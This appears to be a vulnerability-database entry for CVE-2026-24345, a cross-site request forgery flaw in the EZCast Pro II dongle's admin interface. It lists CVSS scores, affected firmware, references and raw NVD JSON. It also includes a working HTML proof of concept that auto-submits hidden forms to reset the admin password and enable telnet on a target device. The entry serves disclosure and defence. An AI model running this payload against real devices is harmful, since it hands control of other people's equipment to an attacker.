CVE-2026-24345

Description

Cross-Site Request Forgery in Admin UI of EZCast Pro II version 1.17478.146 allows attackers to bypass authorization checks and gain full access to the admin UI

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:nimbletech:ezcast_pro_dongle_ii_firmware:1.17478.146:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:nimbletech:ezcast_pro_dongle_ii:-:*:*:*:*:*:*:* - NOT VULNERABLE

EZCast Pro II < 1.17478.146

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2026-24345: EZCast Pro II Admin UI CSRF -->
<!DOCTYPE html>
<html>
<head>
    <title>EZCast Pro II CSRF PoC - CVE-2026-24345</title>
</head>
<body>
    <h1>CVE-2026-24345 CSRF PoC</h1>
    <p>This PoC demonstrates the CSRF vulnerability in EZCast Pro II admin interface.</p>
    
    <!-- Change Admin Password -->
    <h2>Change Admin Password</h2>
    <form id="csrfForm1" action="http://[EZCAST_IP]/cgi-bin/ajax.cgi" method="POST">
        <input type="hidden" name="cmd" value="set_admin_password">
        <input type="hidden" name="old_password" value="">
        <input type="hidden" name="new_password" value="hacked123">
        <input type="hidden" name="confirm_password" value="hacked123">
    </form>
    
    <!-- Enable Telnet/SSH Backdoor -->
    <h2>Enable Telnet Service</h2>
    <form id="csrfForm2" action="http://[EZCAST_IP]/cgi-bin/ajax.cgi" method="POST">
        <input type="hidden" name="cmd" value="set_telnet">
        <input type="hidden" name="enable" value="1">
    </form>
    
    <!-- Get System Information -->
    <h2>Get System Info</h2>
    <form id="csrfForm3" action="http://[EZCAST_IP]/cgi-bin/ajax.cgi" method="POST">
        <input type="hidden" name="cmd" value="get_system_info">
    </form>
    
    <script>
        // Auto-submit all forms when page loads
        window.onload = function() {
            console.log('CSRF PoC loaded - Auto-submitting forms...');
            
            // Submit forms sequentially with delays
            setTimeout(function() {
                document.getElementById('csrfForm1').submit();
            }, 1000);
            
            setTimeout(function() {
                document.getElementById('csrfForm2').submit();
            }, 2000);
            
            setTimeout(function() {
                document.getElementById('csrfForm3').submit();
            }, 3000);
        };
    </script>
    
    <p><strong>Note:</strong> Replace [EZCAST_IP] with the actual IP address of the target EZCast Pro II device.</p>
    <p><strong>Disclaimer:</strong> This PoC is for educational and authorized security testing purposes only.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24345
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24345
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24345/
[4] VulDB https://vuldb.com/cve/CVE-2026-24345
[5] https://hub.ntc.swiss/ntcf-2025-32832

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24345", "sourceIdentifier": "[email protected]", "published": "2026-01-27T10:15:48.937", "lastModified": "2026-02-05T17:32:34.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery in Admin UI of EZCast Pro II version 1.17478.146 allows attackers to bypass authorization checks and gain full access to the admin UI"}, {"lang": "es", "value": "Falsificación de petición en sitios cruzados en la interfaz de usuario de administración de EZCast Pro II versión 1.17478.146 permite a los atacantes eludir las comprobaciones de autorización y obtener acceso total a la interfaz de usuario de administración."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:L/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nimbletech:ezcast_pro_dongle_ii_firmware:1.17478.146:*:*:*:*:*:*:*", "matchCriteriaId": "D9C1B80A-D748-40B9-B2FB-476107B3D705"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nimbletech:ezcast_pro_dongle_ii:-:*:*:*:*:*:*:*", "matchCriteriaId": "0621F0E0-6ABB-46E2-8E85-22C8695ACE87"}]}]}], "references": [{"url": "https://hub.ntc.swiss/ntcf-2025-32832", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}